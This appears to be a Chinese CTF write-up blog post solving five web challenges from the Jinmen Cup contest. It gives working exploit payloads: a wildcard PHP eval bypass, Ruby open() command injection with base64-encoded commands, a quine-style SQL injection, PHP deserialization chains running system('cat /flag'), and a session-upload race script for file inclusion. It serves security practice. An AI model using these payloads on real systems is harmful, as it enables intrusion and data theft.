0%

第五届世界智能大会[津门杯]

第五届世界智能大会[津门杯],随便找点以往的比赛题目做一下,提高一下自己!

hate_php

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

代码审计,首先知道的是过滤了字母大小写和数字,还有三个字符

_$@,对输入code进行了正则表达式的匹配。

这道题关键就是绕过正则匹配,来执行后面的eval函数

  • 解题思路
  • 利用通配符调用Linux系统命令来查看flag
  • 在Linux系统中可以使用 ? * 等字符来正则匹配字母
  • 星号(*)可以用来代替0个及以上任意字符
  • 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat

首先,构造payload:

?><?=`/???/???%20/???/???/????/*`?>
php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>

可以看到源码,直接读取flag文件试。

?><?=`/???/??? /????`?>
php使用短链接含义如下:
<?php echo `/bin/cat /flag`?>

PNG图片转换器

  • 代码审计
  • open函数命令执行漏洞

这道题附件直接给了源码,分析一下

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

这里先介绍以一下linux中反引号的作用,凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,就可以得到我们反引号的输出,比如我们输入命令:

`echo cat hello.txt`

linux中|管道符的作用

| 管道符的作用是 把 管道符左边的的输出 当做右边命令后面待处理的结果

例如:

ls -lha ~ | more| grep a >haha.txt

在源码中我们可以发现有个open函数

res = open(file, 'r').read()

存在命令执行漏洞image7bb9f010bdf11bba.png

这里随便上传一个png文件之后会返回base64加密后的png文件名

image22040242e923ce5c.png

这里用到的是这个open函数,所以可以把shell写入图片然后加上管道符,之后再执行open函数就可执行shell命令。

首先先上传一个图片imagee00f24ffd22e873c.png

然后输入图片base64加密的文件名查看一下,发现的确进行了base64加密imagea40182e15362e93d.png

因为它把/给过滤了。,所以对命令进行base64加密之后再使用,同时最后要加上之前传的那个文件名。image26b24c7c2b96d2df.png

file=| `echo bHMgLw==(ls /) | base64 -d` > 879550a80023144a9b58dcc288f3f4f3.png

这里使用管道符|引导后边的shell命令,使用反引号```,就是先进行反引号的shell的base64解密,然后把解密的命令输出,并将输出的结果重定向到上传好的图片。

这个时候再访问那个图片,可以看到已经写进去了,base64揭秘之后得到根目录下的文件image397239883e30c71d.png

bin
boot
dev
etc
flag_28244
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

根据同样的方法,shell cat /flag_28244

file=| `echo Y2F0IC9mbGFnXzI4MjQ0 | base64 -d` > 879550a80023144a9b58dcc288f3f4f3.png

再次访问这个图片就可以得到base64加密的flagimage9f3eac424c54a0c5.png

解密得到flagimage6efb429399936ca0.png

ctfhub{d7032802097b5eb927bc3b73}

yet_another_mysql_injection

  • SQL注入
  • 代码审计

首先进去之后是个登录框,查看源码得到提示image.png

imageb0049ad14b1c9554.png

访问/?source得到源码image2e7cc021c9235c9c.png

通过审计之后发现通过if ($username !== 'admin')限制了用户名为admin,同时输入的密码会进入checkSql这个函数里面,不难发现这个函数机型正则匹配,过滤了/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i,大小写都过滤了

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '')同时在这里,对输入的密码和sql查询得密码进行了判断。

过程就是判断用户名是否为admin->密码进行checkSql函数检测->用户名和密码带入数据库进行密码查询->查询后的值不能为空->查询后的值需要和你输入的值一样。

介绍一下replace函数的作用。语法:replace(object,search,replace)、语义:把object对象中出现的的search全部替换成replace。实例:select replace(‘abc’,‘b’,‘123’)。最终结果为a123c

这道题就是使用replace函数进行绕过,payload如下:

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

这里使用了两次replace函数,把1’UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE(“%”,CHAR(34),CHAR(39)),CHAR(37),“%”)))#看成整体更容易理解,这个就相当于先把“替换成‘,然后再把%替换成1’UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE(“%”,CHAR(34),CHAR(39)),CHAR(37),“%”)))#

经过这两次替换,得到的值就和2输出的值一样了。

ctfhub{f80e6d849c2202aa2aa253ef}

pklovecloud

  • 反序列化

  • __toString函数

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

一步一步分析一下,

include 'flag.php'
这个说明该目录就是flag.php,只要想办法读取这个内容,就会得到flag。
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
这个pkshow类,没有啥利用点,也看到了最后的返回值是Pk very safe^.^
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  
重点就在这个acp类,可以看到有两个魔法函数,_construct()和_toSring(),但是_construct()这个函数是用到了pkshow这个库,前面说了这个库没有用,所以重点就是_tostring这个库,通过这个函数可以进到ace函数里面,同时执行echo_name函数读取到flag内容。
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  
这个ace类,触发echo_name函数就会执行下面的程序,也就是读取到了flag.php
 $this->openstack = unserialize($this->docker);这个是反序列化docker的值并赋值给openstack
  if($this->openstack->neutron === $this->openstack->nova)这个是进行判断两者是否相等
  相等就会执行 if (file_get_contents($file))         
            {              
                return file_get_contents($file)
            }  读取内容并返回值
if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
最后的这个是接收参数进行反序列化,并赋值给logdata,同时echo时就会触发类中的_tostring()

下面就是构造payload,要求也就是上面分析的这些

  • 先是进入到acp类,修改cinder的值为ace

  • 然后进入到ace类后,将docker的值反序列化后等于acp

  • docker的值反序列化后赋值给openstrack,也就是让openstrack等于acp,所以需要让acp类中的neutron和nova的值相等

  • 最后保证filename的值等于flag.php

if($this->openstack->neutron === $this->openstack->nova)通过空返回染过这个判断,也就是让其null==null
$this->openstack = unserialize($this->docker);当docker为空时,this->openstack自然为空对象,则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。

首先先测试一下

<?php

$a="";
$b=unserialize($a);
var_dump($b);//bool(false)
var_dump($a->sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>

image5a1ff1ed20b79246.png

构造exp

<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}
class ace
{    
    public $filename;     
    public $openstack;
    public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='/flag.php';
echo urlencode(serialize($b));

?>
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

image9c886f41229594dd.png


<?php
// ctfhub{1035800175138278d4dba43e};
$heat='asdwe1g648798qwe321d65';
?>

php反序列化题型扩展

看这个题目

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

HelloPhp这个类用到了两个魔术函数,_construct()和_destruct(),在__destruct方法中,使用成员变量$a作为参数$b作为变量函数名执行代码,在代码最后接收GET参数并进行反序列化。

只需要通过构造$a$b组成危险代码,然后构造HelloPhp类的序列化对象即可

<?php
class HelloPhp
{
    public $a='cat /flag';
    public $b='system';
}
$c=new HelloPhp;   
echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:9:"cat /flag";s:1:"b";s:6:"system";}

EasyCleanup

  • 文件包含
<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}
?>

传个eval可以直接看到phpionfoimage85d1e6c8234890ca.png

用个脚本就行,还有文件包含的方法有时间再试试

import io
import sys
import requests
import threading
host = 'http://challenge-983911a7e85eadf8.sandbox.ctfhub.com:10800/'
sessid = 'aa'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag_is_here_not_are_but_you_find');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid},
        )
 
def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            break
 
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

image56affc20afdb8901.png

得到flag

ctfhub{b3e1bc40dcd3963ea50bed39}
制作不易,如若感觉写的不错,欢迎打赏